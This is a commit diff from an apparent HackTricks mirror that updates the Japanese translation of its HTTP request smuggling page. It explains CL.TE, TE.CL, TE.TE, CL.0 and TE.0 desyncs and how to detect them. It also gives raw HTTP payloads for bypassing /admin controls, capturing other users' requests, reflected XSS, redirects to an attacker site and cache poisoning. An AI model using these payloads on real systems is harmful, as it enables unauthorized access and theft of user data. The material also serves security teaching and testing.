maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/http-request-smuggling/README.md'] to ja

Browse Source
This commit is contained in:
Translator 2025-08-20 22:28:01 +00:00
parent 0469755d23
commit 3519385818
1 changed files with 195 additions and 83 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

278
src/pentesting-web/http-request-smuggling/README.md
View File

@ -4,8 +4,8 @@
## What is
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生し、**攻撃者**がHTTP **リクエスト**を**送信**できるときに発生します。このリクエストは、**フロントエンド**プロキシ（ロードバランス/リバースプロキシ）によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\
これにより、ユーザーは**自分のリクエストの後にバックエンドサーバーに到着する次のリクエストを**変更することができます。
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生することで、**攻撃者**が**HTTPリクエスト**を**送信**できるようになり、**フロントエンド**プロキシ（ロードバランス/リバースプロキシ）によって**単一のリクエスト**として**解釈**され、**バックエンド**サーバーによって**2つのリクエスト**として**解釈**されることを可能にします。\
これにより、ユーザーは**自分の後にバックエンドサーバーに到着する次のリクエストを変更**することができます。
### Theory
@ -19,13 +19,13 @@
**Transfer-Encoding: chunked**
> Transfer-Encodingヘッダーは、ペイロードボディをユーザーに安全に転送するために使用されるエンコーディングの形式を指定します。\
> Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディングの形式を指定します。\
> Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。
### Reality
**フロントエンド**（ロードバランス/リバースプロキシ）は_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ヘッダーを**処理**することで、2つのシステム間に**非同期化**を引き起こします。\
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**になることにあります。
**フロントエンド**（ロードバランス/リバースプロキシ）は_**content-length**_または_**transfer-encoding**_ヘッダーを処理し、**バックエンド**サーバーは他のヘッダーを処理することで、2つのシステム間に**非同期化**を引き起こします。\
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信**でき、**バックエンド**サーバーはそれを**2つの異なるリクエスト**として**解釈**します。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**となることにあります。
### Particularities
@ -33,20 +33,20 @@ HTTPでは**新しい行文字は2バイトで構成されています：**
- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
- **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**を使用して**次のチャンクのバイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**には**カウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません：`0`
- **Connection**: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
- **Connection**: 私の経験に基づくと、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
## Basic Examples
> [!TIP]
> Burp Suiteを使用してこれを悪用しようとする場合、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。なぜなら、一部のガジェットは新しい行、キャリッジリターン、そして不正なContent-Lengthを悪用するからです。
> Burp Suiteでこれを悪用しようとする際は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。なぜなら、一部のガジェットは新しい行、キャリッジリターン、そして不正なContent-Lengthを悪用するからです。
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`（CL）および`Transfer-Encoding`（TE）ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`（CL）および`Transfer-Encoding`（TE）ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。
### Basic Examples of Vulnerability Types
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> [!TIP]
> 前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
@ -55,9 +55,9 @@ HTTPリクエストスムーギング攻撃は、フロントエンドとバッ
- **バックエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
- **攻撃シナリオ:**
- 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
- 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツの長さと一致しないリクエストを送信します。
- フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
- バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別のリクエストとして解釈します。
- バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の次のリクエストとして解釈します。
- **例:**
```
@ -79,7 +79,7 @@ Foo: x
- **バックエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
- **攻撃シナリオ:**
- 攻撃者は、チャンクサイズ（`7b`）と実際のコンテンツ長（`Content-Length: 4`）が一致しないチャンクリクエストを送信します。
- 攻撃者は、チャンクサイズ（`7b`）と実際のコンテンツの長さ（`Content-Length: 4`）が一致しないチャンクリクエストを送信します。
- フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
- バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分（`7b`バイト）だけを処理し、残りを意図しない次のリクエストの一部として残します。
- **例:**
@ -104,12 +104,12 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を通じて無視されるように騙される可能性があります。
- **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を通じて無視されるように騙されることがあります。
- **攻撃シナリオ:**
- 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
- どちらのサーバー（フロントエンドまたはバックエンド）が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングを引き起こします。
- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングが発生します。
- **例:**
```
@ -147,7 +147,7 @@ Normal Request
#### **CL.0 Scenario**
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドは`Content-Length`ヘッダーを無視します（これは0として扱われます）が、フロントエンドはそれを解析します。
- これは、サーバーがリクエストの終わりを決定する方法に影響を与えるため、スムーギング攻撃を理解し、作成する上で重要です。
- スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終了を決定する方法に影響を与えます。
- **例:**
```
@ -162,8 +162,8 @@ Non-Empty Body
#### TE.0 Scenario
- 前のものと同様ですが、TEを使用しています。
- 技術は[ここで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
- **例:**
- 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
- **例**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -185,11 +185,11 @@ EMPTY_LINE_HERE
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
例えば、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
例えば、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することが可能で、サーバーが**破壊**されます。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
#### ホップバイホップヘッダーによる強制
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です**。
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させ、HTTPリクエストスムージングを悪用することが可能です**。
```
Connection: Content-Length
```
@ -199,16 +199,16 @@ For **more information about hop-by-hop headers** visit:
../abusing-hop-by-hop-headers.md
{{#endref}}
## Finding HTTP Request Smuggling
## HTTPリクエストスムージングの発見
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に有用です。これらの方法に加えて、こうした脆弱性を見つけるために使用できる他の戦略やツールもあります。
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、こうした脆弱性を見つけるために使用できる他の戦略やツールもあります。
### Finding CL.TE Vulnerabilities Using Timing Techniques
### タイミング技術を使用したCL.TE脆弱性の発見
- **Method:**
- **方法:**
- アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
- **Example:**
- **例:**
```
POST / HTTP/1.1
@ -222,20 +222,20 @@ A
0
```
- **Observation:**
- **観察:**
- フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを早期に切り捨てます。
- バックエンドサーバーはチャンクメッセージを期待しており、到着しない次のチャンクを待つため、遅延が発生します。
- バックエンドサーバーは、チャンクメッセージを期待して次のチャンクを待ちますが、それは決して到着せず、遅延を引き起こします。
- **Indicators:**
- **指標:**
- タイムアウトや応答の長い遅延。
- バックエンドサーバーから400 Bad Requestエラーを受け取ることがあり、時には詳細なサーバー情報が含まれます。
### Finding TE.CL Vulnerabilities Using Timing Techniques
### タイミング技術を使用したTE.CL脆弱性の発見
- **Method:**
- **方法:**
- アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
- **Example:**
- **例:**
```
POST / HTTP/1.1
@ -248,44 +248,150 @@ Content-Length: 6
X
```
- **Observation:**
- **観察:**
- フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。
- バックエンドサーバーは`Content-Length`に基づいてメッセージを期待し、到着しない追加データを待つため、遅延が発生します。
- バックエンドサーバーは`Content-Length`に基づいてメッセージを期待し、到着しない追加データを待ち、遅延を引き起こします。
### Other Methods to Find Vulnerabilities
### 脆弱性を見つけるための他の方法
- **Differential Response Analysis:**
- **差分応答分析:**
- リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
- **Using Automated Tools:**
- **自動化ツールの使用:**
- Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな曖昧なリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。
- **Content-Length Variance Tests:**
- **Content-Lengthの変動テスト:**
- 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがその不一致をどのように処理するかを観察します。
- **Transfer-Encoding Variance Tests:**
- 難読化または不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがその操作にどのように異なる応答を示すかを監視します。
- **Transfer-Encodingの変動テスト:**
- 曖昧または不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがその操作にどのように異なる応答を示すかを監視します。
### HTTP Request Smuggling Vulnerability Testing
### HTTPリクエストスムージング脆弱性テスト
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストを毒する方法を示しています。
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒殺することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストを毒殺する方法を示しています。
**Key Considerations**
**重要な考慮事項**
リクエストスムージングの脆弱性を他のリクエストに干渉してテストする際には、以下の点に留意してください：
他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、以下に留意してください：
- **Distinct Network Connections:** 「攻撃」と「通常」のリクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
- **Consistent URL and Parameters:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。
- **Timing and Racing Conditions:** 「通常」のリクエストは、「攻撃」リクエストからの干渉を検出するために、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
- **Load Balancing Challenges:** フロントエンドサーバーがロードバランサーとして機能している場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「通常」のリクエストが異なるシステムに到達した場合、攻撃は成功しません。このロードバランシングの側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
- **Unintended User Impact:** あなたの攻撃が他のユーザーのリクエスト（検出のために送信した「通常」のリクエストではない）に意図せず影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
- **異なるネットワーク接続:** 「攻撃」と「通常」のリクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
- **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指します。現代のアプリケーションは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。
- **タイミングとレース条件:** 「通常」のリクエストは、「攻撃」リクエストからの干渉を検出するために、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信します。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
- **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「通常」のリクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
- **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト（検出のために送信した「通常」のリクエストではない）に影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが求められます。
## Abusing HTTP Request Smuggling
## HTTP/1.1パイプライニングのアーティファクトと本物のリクエストスムージングの区別
### Circumventing Front-End Security via HTTP Request Smuggling
接続の再利用（keep-alive）とパイプライニングは、同じソケット上で複数のリクエストを送信するテストツールで「スムージング」の錯覚を生じさせることがあります。無害なクライアント側のアーティファクトと実際のサーバー側のデシンクを区別する方法を学びましょう。
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムージングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されているかもしれませんが、フロントエンドプロキシはそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。
### なぜパイプライニングが古典的な偽陽性を生むのか
以下の例は、HTTPリクエストスムージングを使用してフロントエンドのセキュリティ制御を回避する方法を示しています。特に、通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています：
HTTP/1.1は単一のTCP/TLS接続を再利用し、同じストリーム上でリクエストと応答を連結します。パイプライニングでは、クライアントが複数のリクエストを連続して送信し、順序通りの応答を期待します。一般的な偽陽性は、単一の接続上で不正なCL.0スタイルのペイロードを2回再送信することです。
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
**CL.TE Example**
GET /robots.txt HTTP/1.1
X: Y
```
応答は次のようになります：
```
HTTP/1.1 200 OK
Content-Type: text/html
```
```
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
```
サーバーが不正な `Content_Length` を無視した場合、FE↔BE のデシンクはありません。再利用により、クライアントは実際にこのバイトストリームを送信し、サーバーはこれを2つの独立したリクエストとして解析しました：
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact: なし。クライアントがサーバーフレーミングからデシンクしただけです。
> [!TIP]
> 再利用/パイプラインに依存するBurpモジュール: Turbo Intruderの`requestsPerConnection>1`、Intruderの「HTTP/1接続再利用」、Repeaterの「グループを順番に送信（単一接続）」または「接続再利用を有効にする」。
### リトマス試験: パイプラインまたは実際のデシンク？
1. 再利用を無効にして再テスト
- Burp Intruder/RepeaterでHTTP/1再利用をオフにし、「グループを順番に送信」を避ける。
- Turbo Intruderで`requestsPerConnection=1`および`pipeline=False`を設定する。
- 挙動が消える場合、クライアント側のパイプラインである可能性が高い。ただし、接続ロック/状態を持つターゲットやクライアント側のデシンクを扱っている場合は除く。
2. HTTP/2ネストされたレスポンスチェック
- HTTP/2リクエストを送信する。レスポンスボディに完全なネストされたHTTP/1レスポンスが含まれている場合、純粋なクライアントアーティファクトではなく、バックエンドの解析/デシンクバグを証明したことになります。
3. 接続ロックされたフロントエンドのための部分リクエストプローブ
- 一部のフロントエンドは、クライアントが再利用した場合にのみ上流のバックエンド接続を再利用します。部分リクエストを使用して、クライアントの再利用を反映するフロントエンドの挙動を検出します。
- 接続ロック技術については、PortSwiggerの「ブラウザ駆動のデシンク攻撃」を参照してください。
4. 状態プローブ
- 同じTCP接続での最初のリクエストとその後のリクエストの違いを探します（最初のリクエストのルーティング/検証）。
- Burpの「HTTP Request Smuggler」には、これを自動化する接続状態プローブが含まれています。
5. ワイヤを可視化する
- Burpの「HTTP Hacker」拡張機能を使用して、再利用や部分リクエストを実験しながら、連結とメッセージフレーミングを直接検査します。
### 接続ロックされたリクエストスムグリング（再利用が必要）
一部のフロントエンドは、クライアントが再利用した場合にのみ上流接続を再利用します。実際のスムグリングは存在しますが、クライアント側の再利用に条件付けられています。影響を区別して証明するために：
- サーバー側のバグを証明する
- HTTP/2ネストされたレスポンスチェックを使用する、または
- 部分リクエストを使用して、クライアントが再利用したときにのみ上流を再利用するフロントエンドを示す。
- 直接のクロスユーザーソケットの悪用がブロックされていても、実際の影響を示す：
- キャッシュポイズニング: デシンクを介して共有キャッシュを汚染し、レスポンスが他のユーザーに影響を与える。
- 内部ヘッダーの開示: フロントエンドが注入したヘッダー（例: 認証/信頼ヘッダー）を反映し、認証バイパスにピボットする。
- フロントエンドの制御をバイパス: 制限されたパス/メソッドをフロントエンドを通過させる。
- ホストヘッダーの悪用: ホストルーティングの特異性と組み合わせて内部vhostsにピボットする。
- オペレーターのワークフロー
- 制御された再利用で再現する（Turbo Intruderの`requestsPerConnection=2`、またはBurp Repeaterタブグループ→「グループを順番に送信（単一接続）」）。
- その後、キャッシュ/ヘッダー漏洩/制御バイパスのプリミティブにチェーンし、クロスユーザーまたは認証の影響を示す。
> 接続状態攻撃も参照してください。これは密接に関連していますが、技術的にはスムグリングではありません：
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### クライアント側デシンクの制約
ブラウザ駆動/クライアント側デシンクをターゲットにしている場合、悪意のあるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。ヘッダーの難読化トリックは機能しません。ナビゲーション/フェッチを介して到達可能なプリミティブに焦点を当て、その後、キャッシュポイズニング、ヘッダー開示、またはフロントエンド制御のバイパスにピボットします。下流コンポーネントがレスポンスを反映またはキャッシュする場合。
背景とエンドツーエンドのワークフローについて：
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
### 決定を助けるツール
- HTTP Hacker (Burp BApp Store): 低レベルのHTTP動作とソケットの連結を公開します。
- 「スムグリングまたはパイプライン？」Burp Repeaterカスタムアクション: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection`を介して接続再利用を正確に制御します。
- Burp HTTP Request Smuggler: 最初のリクエストのルーティング/検証を見つけるための接続状態プローブを含みます。
> [!NOTE]
> サーバー側のデシンクを証明し、具体的な影響（汚染されたキャッシュアーティファクト、特権バイパスを可能にする内部ヘッダーの漏洩、バイパスされたフロントエンド制御など）を付加できない限り、再利用のみの影響を非問題として扱います。
## HTTPリクエストスムグリングの悪用
### HTTPリクエストスムグリングを介してフロントエンドセキュリティを回避する
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムグリングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されているかもしれませんが、フロントエンドプロキシはそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムグリングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。
以下は、HTTPリクエストスムグリングがフロントエンドセキュリティ制御を回避するためにどのように使用されるかを示す例です。特に、通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています：
**CL.TEの例**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -320,7 +426,7 @@ a=x
0
```
逆に、TE.CL攻撃では、最初の`POST`リクエストが`Transfer-Encoding: chunked`を使用し、その後の埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、意図せずに制限された`/admin`パスへのアクセスを許可します。
逆に、TE.CL攻撃では、最初の`POST`リクエストが`Transfer-Encoding: chunked`を使用し、次に埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、意図せずに制限された`/admin`パスへのアクセスを許可します。
### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
@ -353,9 +459,9 @@ search=
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
POST 操作中に特定のリクエストをパラメータの値として追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです：
POST 操作中にパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです：
次のリクエストをパラメータの値として追加することで、次のクライアントのリクエストを保存できます：
次のリクエストをパラメータの値として追加することで、後続のクライアントのリクエストを保存できます：
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -411,11 +517,11 @@ A=
```
このペイロードは、脆弱性を悪用するために構成されています：
1. `Transfer-Encoding: chunked` ヘッダーを使用して、密輸の開始を示す、見た目には典型的な `POST` リクエストを開始します。
1. `Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーグリングの開始を示します。
2. 次に、チャンクメッセージボディの終わりを示す `0` が続きます。
3. その後、密輸された `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
`User-Agent` を密輸によって操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
スムーグリングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
#### HTTP/0.9
@ -424,9 +530,9 @@ A=
HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエスト密輸と **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストを密輸することが悪用されました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス（ヘッダーとボディを含む）** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーグリングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス（ヘッダーとボディを含む）** が含まれており、レスポンスには `Content-Type` が `text/html` の有効な実行可能な JS コードが含まれます。
### HTTP リクエスト密輸を使用したオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### HTTP リクエストスムーグリングを使用したオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます：
```
@ -438,7 +544,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
この無害に見える動作は、HTTPリクエストスムーギングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば：
この動作は一見無害に見えますが、HTTPリクエストスムーグリングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば：
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -464,15 +570,15 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。
### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTPリクエストスムージングによるウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
